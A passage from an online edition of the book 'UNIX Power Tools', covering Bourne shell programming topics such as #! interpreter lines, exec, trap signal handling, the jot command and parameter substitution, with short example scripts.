would put sendit into the myname shell variable.

Just as you can make links (18.3) to give UNIX files several names, you can use links to give your program several names (45.13). For instance, see the script named ll, lf, lg (...and so on) in article 16.7. Use $0 to get the current name of the program.

- JP

Previous: 44.21 Picking a Name for a New Command | UNIX Power Tools | Next: 44.23 Reading Files with the . and source Commands
44.21 Picking a Name for a New Command | Book Index | 44.23 Reading Files with the . and source Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 44] 44.23 Reading Files with the . and source Commands

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 44.22 Finding a Program Name; Multiple Program Names Chapter 44
Shell Programming for the Uninitiated 		Next: 45. Shell Programming for the Initiated

44.23 Reading Files with the . and source Commands

As article 6.2 explains, UNIX programs can never, ever modify the environment of their parents. A program can only modify the environment that later will be passed to its children. This is a common mistake that many new UNIX users make: they try to write a program that changes a directory (or does something else involving an environment variable) and try to figure out why it doesn't work. You can't do this. If you write a program that executes the cd command, that cd will be effective within your program - but when the program finishes, you'll be back in your original (parent) shell.

One workaround is to "source" the shell script file (for csh and bash) or run it as a "dot" script (sh, ksh and bash too). For example, if the file named change-my-directory contains:

cd /somewhere/else

you could use the following commands to change the current directory of the current shell:

% source change-my-directory
$ . change-my-directory

The source and . commands read a script file into the current shell instead of starting a child shell. These commands only work for shell script files (files containing command lines as you'd type them at a shell prompt). You can't use source or . to read a binary (directly executable) file into the shell.

If your shell doesn't have shell functions (10.9), you can simulate them (10.10) with the . command. It acts a lot like a subroutine or function in a programming language.

- ML, JP

Previous: 44.22 Finding a Program Name; Multiple Program Names | UNIX Power Tools | Next: 45. Shell Programming for the Initiated
44.22 Finding a Program Name; Multiple Program Names | Book Index | 45. Shell Programming for the Initiated
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 45] Shell Programming for the Initiated

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 44.23 Reading Files with the . and source Commands Chapter 45 Next: 45.2 The Story of : # #!

45. Shell Programming for the Initiated

Contents:
Beyond the Basics
The Story of : # #!
Don't Need a Shell for Your Script? Don't Use One
Fun with #!
A File That Shows Itself... and What #! Does
Making Sure Your Script Runs with Bourne Shell, Without #!
The exec Command
Handling Signals to Child Processes
The Unappreciated Bourne Shell ":" Operator
Removing a File Once It's Opened - for Security and Easy Cleanup
The Multipurpose jot Command
Parameter Substitution
Save Disk Space and Programming: Multiple Names for a Program
Finding the Last Command-Line Argument
How to Unset all Command-Line Parameters
Standard Input to a for Loop
Making a for Loop with Multiple Variables
Using basename and dirname
A while Loop with Several Loop Control Commands
Overview: Open Files and File Descriptors
n>&m: Swap Standard Output and Standard Error
Handling Files Line-by-Line
The Ins and Outs of Redirected I/O Loops
A Shell Can Read a Script from its Standard Input, But...
Shell Scripts On-the-Fly from Standard Input
Quoted hereis Document Terminators: sh vs. csh
Turn Off echo for "Secret" Answers
Quick Reference: expr
Testing Characters in a String with expr
Grabbing Parts of a String
Nested Command Substitution
A Better read Command: grabchars
Testing Two Strings with One case Statement
Arrays in the Bourne Shell
Using a Control Character in a Script
Shell Lockfile

45.1 Beyond the Basics

This chapter has a bunch of tricks and techniques for programming with the Bourne shell. Some of them are documented but hard to find; others aren't documented at all. Here is a summary of this chapter's articles:

  • The first group of articles is about making a file directly executable with #! on the first line. On many versions of UNIX (see article 44.4), an executable file can start with a first line like this:

    #!/path/to/interpreter

    The kernel will start the program named in that line and give it the file to read. Chris Torek's Usenet classic, article 45.2, explains how #! started. Article 45.3 explains that your "shell scripts" may not need a shell at all. Article 45.4 will give you a few grins as it shows unusual examples of #!-and article 45.5 has experiments to help you understand what #! does. If your UNIX doesn't have #!, the trick in article 45.6 will let you be sure your scripts run with the Bourne shell.

    Scripts using an interpreter that isn't a shell are in articles 25.11, 25.12, and 35.8.

  • The next five articles are about processes and commands. The exec command, article 45.7, replaces the shell with another process; it can also be used to change input/output redirection (see below). The trap command can control how signals are passed to child processes; see article 45.8. The : (colon) operator evaluates its arguments and returns a zero status - article 45.9 explains why you should care. UNIX keeps a file on-disk once it's been opened; as article 45.10 explains, this has its ups and downs. The jot command, article 45.11, is useful for all kinds of operations with lists of numbers and characters.

  • Next are techniques for handling variables and parameters. Parameter substitution, explained in article 45.12, is a compact way to test, set, and give default values for variables. You can use the $0 parameter and UNIX links to make the same script have multiple names and do multiple things; see article 45.13. Article 45.14 shows the easy way to get the last command-line argument. Article 45.15 has an easy way to remove all the command-line arguments.

  • Four articles cover sh loops. A for loop usually reads a list of single arguments into a single shell variable. Article 45.16 shows how to make the for loop read from standard input. Article 45.17 has techniques for making a for loop set more than one variable. The dirname and basename commands can be used to split pathnames with a loop; see article 45.18. A while loop can have more than one command line at the start; see article 45.19.

  • Next is an assortment of articles about input/output. Article 45.20 introduces open files and file descriptors - there's more to know about standard input/output/error than you might have realized! Article 45.21 has a look at file descriptor handling in the Bourne shell, swapping standard output and standard error. The shell can redirect the I/O from all commands in a loop at once; article 45.22 explains one use for this technique and article 45.23 explains good and bad points of doing this.

  • The shell can read commands directly from a shell script file. As article 45.24 points out, a shell can also read commands from its standard input, but that can cause some problems. Article 45.25 shows one place scripts from stdin are useful: writing a script that creates another script as it goes.

    Next are two articles about miscellaneous I/O. One gotcha with the here-document operator (for redirecting input from a script file) is that the terminators are different in the Bourne and C shells; article 45.26 explains. Article 45.27 shows how to turn off echoing while your script reads a "secret" answer such as a password.

  • Three articles- 45.28, 45.29, and 45.30- show uses for the versatile expr expression-handling command. Article 45.31. covers multiple command substitution (9.16). The grabchars program in article 45.32 is similar to read (44.13)- but grabchars doesn't need a RETURN after the answer; grabchars also can prompt and do basic tests on the answer.

    Article 45.33 shows a trick for making one case statement (44.5) test two things at once. Article 45.34 has a trick for simulating arrays in the Bourne Shell. Article 45.35 uses echo and tr to get a control character in a script without typing the literal character into the file. Finally, article 45.36 has a simple technique for getting exclusive access to a file or other system resource.

- JP

Previous: 44.23 Reading Files with the . and source Commands | UNIX Power Tools | Next: 45.2 The Story of : # #!
44.23 Reading Files with the . and source Commands | Book Index | 45.2 The Story of : # #!
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 45] 45.2 The Story of : # #!

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 45.1 Beyond the Basics Chapter 45
Shell Programming for the Initiated 		Next: 45.3 Don't Need a Shell for Your Script? Don't Use One

45.2 The Story of : # #!

Once upon a time, there was the Bourne shell. Since there was only "the" shell, there was no trouble deciding how to run a script: run it with the shell. It worked, and everyone was happy.

Along came progress, and wrote another shell. The people thought this was good, for now they could choose their own shell. So some chose the one, and some the other, and they wrote shell scripts and were happy. But one day someone who used the "other" shell ran a script by someone who used the "other other" shell, and alas! it bombed spectacularly. The people wailed and called upon their Guru for help.

"Well," said the Guru, "I see the problem. The one shell and the other are not compatible. We need to make sure that the shells know which other shell to use to run each script. And lo! the one shell has a `comment' called :, and the other a true comment called #. I hereby decree that henceforth, the one shell will run scripts that start with :, and the other those that start with #." And it was so, and the people were happy.

But progress was not finished. This time he noticed that only shells ran scripts, and thought that if the kernel too could run scripts, that this would be good, and the people would be happy. So he wrote more code, and now the kernel could run scripts, but only if they began with the magic incantation: #!, and told the kernel which shell ran the script. And it was so, and the people were confused.

For the #! looked like a "comment." Though the kernel could see the #! and run a shell, it would not do so unless certain magic bits were set. And if the incantation were mispronounced, that too could stop the kernel, which, after all, was not omniscient. And so the people wailed, but alas!, the Guru did not respond. And so it was, and still it is today. Anyway, you will get best results from a 4BSD machine by using

#! /bin/sh

or

#! /bin/csh

as the first line of your script. #! /bin/csh -f is also helpful on occasion [it's usually faster because csh won't read your .cshrc file (2.2). -JP ].

- CT

Previous: 45.1 Beyond the Basics | UNIX Power Tools | Next: 45.3 Don't Need a Shell for Your Script? Don't Use One
45.1 Beyond the Basics | Book Index | 45.3 Don't Need a Shell for Your Script? Don't Use One
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 45] 45.3 Don't Need a Shell for Your Script? Don't Use One

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 45.2 The Story of : # #! Chapter 45
Shell Programming for the Initiated 		Next: 45.4 Fun with #!

45.3 Don't Need a Shell for Your Script? Don't Use One

If your UNIX understands (44.4) files that start with:

#!/interpreter/program

you don't have to use those lines to start a shell, such as #!/bin/sh. If your script is just starting a program like awk, UNIX can start the program directly and save execution time. This is especially useful on small or overloaded computers, or when your script has to be called over and over (such as in a loop).

First, here are two scripts. Both scripts print the second word from each line of text files. One uses a shell; the other runs awk directly:

% cat with_sh
#!/bin/sh
awk '
{ print $2 }
' $*
% cat no_sh
#!/usr/bin/awk -f
{ print $2 }
% cat afile
one two three four five

Let's run both commands and time (39.2) them:

% time with_sh afile
two
0.1u 0.2s 0:00 26%
% time no_sh afile
two
0.0u 0.1s 0:00 13%

One of the things that's really important to understand here is that when the kernel runs the program on the interpreter line, it is given the script's filename as an argument. If the intepreter program understands a file directly, like /bin/sh does, nothing special needs to be done. But a program like awk or sed requires the -f option if it is to read its script from a file. This leads to the seemingly odd syntax in the example above, with a call to awk -f with no following filename. The script itself is the input file!

One implication of this usage is that the interpreter program needs to understand # as a comment, or that first interpreter-selection line itself will be acted upon (and probably rejected by) the interpreter. (Fortunately, the shells, perl, sed, and awk do recognize this comment character.)

- JP

Previous: 45.2 The Story of : # #! | UNIX Power Tools | Next: 45.4 Fun with #!
45.2 The Story of : # #! | Book Index | 45.4 Fun with #!
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 45] 45.4 Fun with #!

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 45.3 Don't Need a Shell for Your Script? Don't Use One Chapter 45
Shell Programming for the Initiated 		Next: 45.5 A File That Shows Itself... and What #! Does

45.4 Fun with #!

[You might think that the "magic" characters #! are only for shell scripts. Not true (45.5, 45.3)! Here are some fun examples. Study them and (if your UNIX system understands #!) try them; I hope they'll help you see what #! really does. -JP]

Q: Why begin a shell script with #!/bin/sh or #!/bin/csh?

A: Under some systems - principally those with Berkeley influence - this makes the program directly executable. That is, the kernel can start this program, even though it's not machine code; the kernel will invoke the named program after fiddling arguments a bit.

In fact, the script:

#! /bin/mv

will rename itself. Place it in a file called zap, and type zap zup, and now you have a shell script called zup. Your shell tried to exec the program with the argument zup. This succeeded, but actually ran /bin/mv with the arguments zap zup.

You can make self-removing scripts:

#! /bin/rm

Or self-printing scripts:

#! /bin/awk NR>1{print}
text...

This last one works because the kernel is willing to do more than insert the filename in the argument list: it will insert an optional argument. Some systems allow only one such argument (which can then contain blanks), while others allow multiple blank (space or TAB) separated arguments. Note that, in the latter case, there is probably no way to embed blanks (the kernel is unlikely to provide shell-like quoting mechanisms); the safest course is to avoid them entirely.

Normally, this is used for things like the -f option to the C shell ("fast", don't read .cshrcs), but it works well enough for awk too.

#! is described, though not completely, in the execve(2) manual page. Note that there may be a small limit on the number of characters in the #! line, typically 32. (32 is "magic" because it equals sizeof(struct exec).)

- CT in net.unix on Usenet, 29 December 1984

Previous: 45.3 Don't Need a Shell for Your Script? Don't Use One | UNIX Power Tools | Next: 45.5 A File That Shows Itself... and What #! Does
45.3 Don't Need a Shell for Your Script? Don't Use One | Book Index | 45.5 A File That Shows Itself... and What #! Does
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 45] 45.5 A File That Shows Itself... and What #! Does

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 45.4 Fun with #! Chapter 45
Shell Programming for the Initiated 		Next: 45.6 Making Sure Your Script Runs with Bourne Shell, Without #!

45.5 A File That Shows Itself... and What #! Does

If your UNIX understands (44.4) executable files that start with #!, you can use this nice trick to make executable files that display themselves (or part of themselves). I used this to make a program named help on a system that didn't have any online help. A program like cat (25.2) isn't what you want because it'll display the #! line as well as the message. Watch what happens:

% cat help
#!/bin/cat
For help with UNIX, call the ACS Consulting Hotline at 555-1212.

man command               shows the manual for a command
   ...
% chmod +x help
% help
#!/bin/cat
For help with UNIX, call the ACS Consulting Hotline at 555-1212.

man command               shows the manual for a command
   ...

The trick is to invoke an interpreter that shows all the lines except the line starting with #!. For example, this file uses sed (34.24) and its d command to ignore ("delete") the first line:

% cat help
#!/bin/sed 1d
For help with UNIX, call the ACS Consulting Hotline at 555-1212.

man command               shows the manual for a command
   ...
% help
For help with UNIX, call the ACS Consulting Hotline at 555-1212.

man command               shows the manual for a command
   ...

For longer files, try using more +2 (25.3); this file will show itself screenful-by-screenful, starting at line 2:

% cat help
#!/usr/ucb/more +2
For help with UNIX, call the ACS Consulting Hotline at 555-1212.

man command               shows the manual for a command
   ...

You have to give the absolute pathname to the interpreter because the kernel doesn't use your search path (8.7). The kernel can pass just one argument to the interpreter. More than one argument probably won't work. In the next example, I try to pass two arguments to grep-but the kernel passes the whole string -v # as just one argument. That confuses grep, which complains about every character from the space on:

% cat help
#!/bin/grep -v #
For help with UNIX, call the ACS Consulting Hotline at 555-1212.

man command               shows the manual for a command
   ...
% help
grep: illegal option --
grep: illegal option -- ^
grep: illegal option -- #
Usage: grep -hblcnsvi pattern file . . .

(Remember, there's no shell interpreting the arguments here. The kernel does it.)

- JP

Previous: 45.4 Fun with #! | UNIX Power Tools | Next: 45.6 Making Sure Your Script Runs with Bourne Shell, Without #!
45.4 Fun with #! | Book Index | 45.6 Making Sure Your Script Runs with Bourne Shell, Without #!
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 45] 45.6 Making Sure Your Script Runs with Bourne Shell, Without #!

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 45.5 A File That Shows Itself... and What #! Does Chapter 45
Shell Programming for the Initiated 		Next: 45.7 The exec Command

45.6 Making Sure Your Script Runs with Bourne Shell, Without #!

Lots of UNIX versions let you start a script file this way:

#!/bin/sh

That executable file will always be read by a Bourne shell. If some versions of UNIX you use don't understand #! (44.4), here's how to start your scripts:

||
#!/bin/sh
export PATH || exec /bin/sh $0 $argv:q

If a Bourne shell reads that line (that is, if the #!/bin/sh succeeded), the export PATH command will succeed and the rest of the command line will be skipped. If a C shell reads the line, it will print the error export: Command not found. Then it will run exec /bin/sh $0 $argv:q. The exec (45.7) replaces the C shell with a Bourne shell, passes it the name of the script file in $0, and passes a quoted list of the command-line arguments from $argv :q (9.6).

- JP

Previous: 45.5 A File That Shows Itself... and What #! Does | UNIX Power Tools | Next: 45.7 The exec Command
45.5 A File That Shows Itself... and What #! Does | Book Index | 45.7 The exec Command
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 45] 45.7 The exec Command

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 45.6 Making Sure Your Script Runs with Bourne Shell, Without #! Chapter 45
Shell Programming for the Initiated 		Next: 45.8 Handling Signals to Child Processes

45.7 The exec Command

The exec command will execute a command in place of the current shell; that is, it terminates the current shell and starts a new process (38.3) in its place.

Historically, exec was often used to execute the last command of a shell script. This would kill the shell slightly earlier; otherwise, the shell would wait until the last command was finished. This practice saved a process and some memory. (Aren't you glad you're using a modern system? This sort of conservation usually isn't necessary any longer unless your system limits the number of processes each user can have.)

exec can be used to replace one shell with another shell:

% exec ksh
$

without incurring the additional overhead of having an unused shell waiting for the new shell to finish.

exec also manipulates file descriptors (45.21, 45.22) in the Bourne shell. When you use exec to manage file descriptors, it does not replace the current process. For example, the following command makes the standard input of all commands come from the file formfile instead of the default place (usually, your terminal):

exec < formfile

- ML, JP

Previous: 45.6 Making Sure Your Script Runs with Bourne Shell, Without #! | UNIX Power Tools | Next: 45.8 Handling Signals to Child Processes
45.6 Making Sure Your Script Runs with Bourne Shell, Without #! | Book Index | 45.8 Handling Signals to Child Processes
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 45] 45.8 Handling Signals to Child Processes

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 45.7 The exec Command Chapter 45
Shell Programming for the Initiated 		Next: 45.9 The Unappreciated Bourne Shell ":" Operator

45.8 Handling Signals to Child Processes

The Bourne shell trap command (44.12) controls what the shell does when it gets an interrupt or signal (from the kill (38.10) command, from a keyboard character like CTRL-c, and so on). To run an external command (1.10)- like an editor or a simple command such as sort-the shell starts a child process (38.3) (subprocess). If the program running in the child process wants to handle its own signals, the parent shell should probably pass signals on to the child process. For example, you might run vi as a child process and want to send a CTRL-c to stop vi from what it's doing, but not want the CTRL-c to kill the parent shell script.

When the parent process gets a signal, should it die or keep running? Should the child get the signal or not? The Bourne shell gives you a fair amount of flexibility in signal handling. The bad news is that most sh manual pages don't say much about this. And no manual page I've seen explains a useful choice: using the : (colon) operator (45.9) with trap. Table 45.1 shows your choices.

Table 45.1: trap Arguments (for Most Bourne Shells)
Argument | Effect
"" | Ignore signal, don't pass signal to child.
: | (undocumented) Ignore signal, pass signal to child.
"command-line" | Run command-line with variable and command substitution done when trap set; don't pass signal to child.
'command-line' | Run command-line with variable and command substitution done when trap executed; don't pass signal to child.
No argument | Reset signal handling to default (usually, parent terminates). Pass signal to child.

Because so much of this is undocumented, I won't try to give you "the answers" for how it should work with your shell. Instead, here are two shell scripts that let you experiment with your shell's signal handling. One script, named parent, starts the second script, child. The child script sets some traps, then starts sleep (40.2) so it'll be there when you send a signal. This lets you use CTRL-c or other interrupts, if parent is running in the foreground - or the kill command with signal numbers, if you've put parent in the background. You can edit the trap lines in the two scripts to test the setup you want to use.

Here's an example. I'll start parent in the background from the C shell, then send it a signal 1 ("hangup" signal):

%1

% parent &
[1] 8669
parent started
child started. pid is 8671
% kill -1 %1
./child: % 8671 Hangup
child got a signal 1
child exiting
parent still running after child exited
    ...1000 seconds later...
parent exiting
[1]  + Done                 parent

Now, the scripts:

% cat parent
#!/bin/sh
echo parent started
trap "echo parent exiting; exit" 0
trap : 1                              # pass signal 1 to child but don't die
trap "" 2                             # ignore signal 2, block from child
trap "echo parent got signal 15" 15   # ignore signal 15, send to child
                                      # die on other signals, send to child
child
echo parent still running after child exited
sleep 1000
% cat child
#! /bin/sh
echo child started. pid is $$.
trap 'echo child exiting; exit' 0
trap 'echo child got a signal 1' 1
trap '' 2       # ignore signal 2
trap 'echo child got a signal 3' 3
sleep 1000      # wait a long time for a signal

Even with this help, the way signal handling works might not be too clear. For more on signal handling, see a book that covers UNIX internals on your system.

- JP

Previous: 45.7 The exec Command | UNIX Power Tools | Next: 45.9 The Unappreciated Bourne Shell ":" Operator
45.7 The exec Command | Book Index | 45.9 The Unappreciated Bourne Shell ":" Operator
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 45] 45.9 The Unappreciated Bourne Shell ":" Operator

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 45.8 Handling Signals to Child Processes Chapter 45
Shell Programming for the Initiated 		Next: 45.10 Removing a File Once It's Opened - for Security and Easy Cleanup

45.9 The Unappreciated Bourne Shell ":" Operator

Some people think that the Bourne shell's : is a comment character. It isn't, really. It evaluates its arguments and returns a zero exit status (44.7). Here are a few places to use it:

  • Replace the UNIX true command to make an endless while loop (44.10). This is more efficient because the shell doesn't have to start a new process each time around the loop (as it does when you use while true):

    while :
do
   commands
done

    (Of course, one of the commands will probably be break, to end the loop eventually.)

  • When you want to use the else in an if (44.8), but leave the then empty, the : makes a nice "do-nothing" place filler:

    if something
then :
else
   commands
fi

  • If your Bourne shell doesn't have a true # comment character, you can use : to "fake it." It's safest to use quotes so the shell won't try to interpret characters like > or | in your "comment":

    : 'read answer and branch if < 3 or > 6'

  • Finally, it's useful with parameter substitution (45.12) like ${var?} or ${var=default}. For instance, using this line in your script will print an error and exit if either the USER or HOME variables aren't set:

    : ${USER?} ${HOME?}

- JP

Previous: 45.8 Handling Signals to Child Processes | UNIX Power Tools | Next: 45.10 Removing a File Once It's Opened - for Security and Easy Cleanup
45.8 Handling Signals to Child Processes | Book Index | 45.10 Removing a File Once It's Opened - for Security and Easy Cleanup
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 45] 45.10 Removing a File Once It's Opened - for Security and Easy Cleanup

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 45.9 The Unappreciated Bourne Shell ":" Operator Chapter 45
Shell Programming for the Initiated 		Next: 45.11 The Multipurpose jot Command

45.10 Removing a File Once It's Opened - for Security and Easy Cleanup

Once a process has opened a file (45.20), UNIX won't delete the file until the process closes it. (The rm command only removes a link to the file from a directory, not the file itself.)

I've heard arguments (24.3) about whether removing a file while it's open is a good idea. If you want to run a set of commands from a file, but not let anyone else read the list of commands you're using, you can write a shell script that removes itself before doing anything else. (You should be aware that if you use a filesystem mounted by NFS (1.33), NFS will just rename the "removed" file to a hidden filename (16.11) like .nfsXXXXX.)

Here's a simple self-removing shell script:

% cat doit
rm doit   # by now, shell has opened this file; we can remove it
ls doit
make bigprog
   ...
% sh doit
ls: doit not found
cc   -target sun4 -c  routine.c
   ...

Here's a more typical script that opens and removes a file in /tmp (21.3):

exec

<&-

% cat delme
#!/bin/sh
temp=/tmp/delme$$              # file in /tmp (could be anywhere)
echo "This is line1.
This is line2.
This is line3." > $temp        # put three lines in $temp
ls -l $temp; wc $temp          # ls and count lines in the file
exec < $temp                   # take standard input from $temp
read line; echo $line          # read and echo line 1 from $temp
rm $temp; echo rm returned $?  # remove $temp link; show status
ls -l $temp; wc $temp          # the file is gone...?
read line; echo $line          # but file is still open!
read line; echo $line
exec <&-                       # close standard input (and file)
% delme
-rw-rw-r--   1 jerry    45 Sep 16 12:31 /tmp/delme22743
      3      9     45 /tmp/delme22743
This is line1.
rm returned 0
ls: /tmp/delme22743: No such file or directory
wc: cannot open /tmp/delme22743
This is line2.
This is line3.

- JP

Previous: 45.9 The Unappreciated Bourne Shell ":" Operator | UNIX Power Tools | Next: 45.11 The Multipurpose jot Command
45.9 The Unappreciated Bourne Shell ":" Operator | Book Index | 45.11 The Multipurpose jot Command
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 45] 45.11 The Multipurpose jot Command

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 45.10 Removing a File Once It's Opened - for Security and Easy Cleanup Chapter 45
Shell Programming for the Initiated 		Next: 45.12 Parameter Substitution

45.11 The Multipurpose jot Command

The jot command is an extremely powerful tool for shell programming. People who have used jot end up using it all the time, but those who haven't been exposed to it may be perplexed by its function. For that reason, I think the best way to learn jot is by example. (If you've read many of my other articles, then you might notice that I think that example is the best way to learn anything; but for jot, it's doubly true!)

jot
In its most basic use, jot produces a series of numbers. With only one integer as a command-line argument, it produces the sequential integers from 1 to that number.

% jot 4
1
2
3
4

Big deal, you might say. Well, it may not be earth-shattering on the surface, but it can make your life much easier if you program in the Bourne shell. Take the instance when you want to increment a number in a loop. The usual way of doing this is:

counter=1
while [ $counter -le 10 ]
do
   ...
   counter=`expr $counter + 1`
done

This is laborious and quite slow. Because the Bourne shell doesn't have any built-in (1.10) number crunching, the only way to increment the counter is to use the expr command in each iteration of the loop. But if you have jot, the same loop can be written in a simple for loop:

for counter in `jot 10`
do
   ...
done

You can also use jot to show any other sequence of numbers. For example, to show the integers between 24 and 28 (inclusive), try:

% jot 5 24
24
25
26
27
28

The first argument (5) is taken to be how many values should be shown. The second number (24) is the number to start counting with. This may seem frustrating - why not just let us say "jot 24 28" to specify the beginning and end of the sequence, rather than make us figure out how many numbers will be in the sequence first? Well, the reason is that you might not always want to be counting by whole numbers.

If supplied with a third argument, jot takes it as the number to end the sequence with. And if you specify either the beginning or end boundary with a decimal point, it will produce fractional numbers in its output:

% jot 5 24 28.0
24.0
25.0
26.0
27.0
28.0
% jot 4 24 28.0
24.0
25.3
26.7
28.0

You can also use the -p option to specify a given precision:

% jot -p4 4 24 28
24.0000
25.3333
26.6667
28.0000

By default, the values shown are evenly spaced across the interval. You can change this by using a fourth numerical argument, which becomes the size of each step in the iteration. For example:

% jot 4 24 28.0 .5
24.0
24.5
25.0
25.5

Notice in this example that only the first four iterations are shown, because we asked for only four values in the first argument. This is because any three values determine the fourth automatically, so when the values conflict, jot takes the lower value. jot stopped after four values regardless of the fact that it would need nine iterations to complete the sequence. However, jot will also stop if the sequence is completed before the specified number of values are shown.

% jot 4 24 28 2
24
26
28

To omit any of these values, replace them with a single dash (-). For example, if you know that you just want the digits from 24 to 28, you can omit the field specifying the number of values as long as you tell it to use a step of 1:

% jot - 24 28 1
24
25
26
27
28

And of course, you can use negative numbers and negative steps:

% jot - 1 -3 -2
1
-1
-3

If you want the output separated by a string other than a newline, use the -s option. For example, to have the output of the previous command separated by spaces, enter:

% jot -s " " - 1 -3 -2
1 -1 -3

That's jot in its no-frills form, already potentially useful for any writer of shell scripts. However, jot does quite a lot more. The -c option can be used to show ASCII (51.3) characters instead of integers. To print out the character for ASCII 65 (decimal), for example, try:

% jot -c 1 65
A

You can also do the ASCII-to-decimal conversion in reverse, by just specifying a character in place of the lower bound:

% jot 1 A
65

This can be handy if you want an automatic listing of all 26 letters:

% jot -c 26 A
A
B
C
   ...

The -r option produces random numbers, which is very useful in shells with no random number generator (such as the Bourne or C shells). To create a 6-digit random number, try:

% jot -r 1 100000 999999
523467

(Using -r, the fourth numerical argument, if specified, is taken to be a seed for the random number.)

The -b option can be used to repeat a given word, much like the yes (23.4) command:

% jot -b lunchtime! 3
lunchtime!
lunchtime!
lunchtime!

The jot manual page suggests a clever way of using this feature: if you want to search for lines in files that have 40 or more characters, you could do this using regular expressions, but you'd have to count out all those dots.

grep "........................................" file

Using jot, you can pat yourself on the back for being ingenious (or for just reading the manpage!):

grep `jot -s "" -b . 40` file

But the most powerful feature of jot comes with its -w option. The -w option accepts a word containing format conversion characters as used by the printf( ) function. (For example, %d prints a decimal argument; %h prints hexadecimal.) If you aren't familiar with the printf( ) format conversions, read your printf(3) manual page or check any C programming book.

This allows you to combine strings with jot output, a useful feature for manipulating temporary files within scripts. For example, suppose you have a shell script that creates multiple temporary files that you want to remove at the end of the script. You might have even created the files using jot earlier in the script, as shown previously:

for counter in `jot 10 1`
do
   whatever commands > tmp$counter
done

Then later on you want to remove the files. You could do another loop, but it's more efficient to just enter:

rm `jot -w tmp%d 10 1`

The jot command expands to the strings tmp1 through tmp10, which are the names of the temporary files created earlier in the script.

- LM

Previous: 45.10 Removing a File Once It's Opened - for Security and Easy Cleanup | UNIX Power Tools | Next: 45.12 Parameter Substitution
45.10 Removing a File Once It's Opened - for Security and Easy Cleanup | Book Index | 45.12 Parameter Substitution
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 45] 45.12 Parameter Substitution

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 45.11 The Multipurpose jot Command Chapter 45
Shell Programming for the Initiated 		Next: 45.13 Save Disk Space and Programming: Multiple Names for a Program

45.12 Parameter Substitution

The Bourne shell has a handy set of operators for testing and setting shell variables. They're listed in

Table 45.2: Bourne Shell Parameter Substitution Operators
Operator | Explanation
${var:-default} | If var is not set or is empty, use default instead.
${var:=default} | If var is not set or is empty, set it to default and use that value.
${var:+instead} | If var is set and is not empty, use instead. Otherwise, use nothing (null string).
${var:?message} | If var is set and is not empty, use its value. Otherwise, print message, if any, and exit from the shell. If message is missing, print a default message (which depends on your shell).

If you omit the colon (:) from the expressions in Table 45-2, the shell doesn't check for an empty parameter. In other words, the substitution will happen whenever the parameter is set. (That's how some early Bourne shells work: they don't understand a colon in parameter substitution.)

To see how parameter substitution works, here's another version of the bkedit script (44.8, 44.11):

#!/bin/sh
if cp "$1" "$1.bak"
then
    ${VISUAL:-/usr/ucb/vi} "$1"
    exit   # USE STATUS FROM EDITOR
else
    echo "`basename $0` quitting: can't make backup?" 1>&2
    exit 1
fi

If the VISUAL (6.3) environment variable is set and is not empty, its value (like /usr/local/bin/emacs) is used and the command line becomes /usr/local/bin/emacs "$1". If VISUAL isn't set, the command line will default to /usr/ucb/vi "$1".

You can use parameter substitution operators in any command line. You'll see them used with the colon (:) operator (45.9), checking or setting default values. There's an example below. The first substitution (${nothing=default}) will leave $nothing empty because the variable has been set. The second substitution will set $nothing to default because the variable has been set but is empty. The third substitution will leave $something set to stuff:

nothing=
something=stuff
: ${nothing=default}
: ${nothing:=default}
: ${something:=default}

The Korn shell and bash have similar string editing operators (9.7) like ${var##pattern}. They're useful in shell programs, as well as on the command line and in shell setup files.

- JP

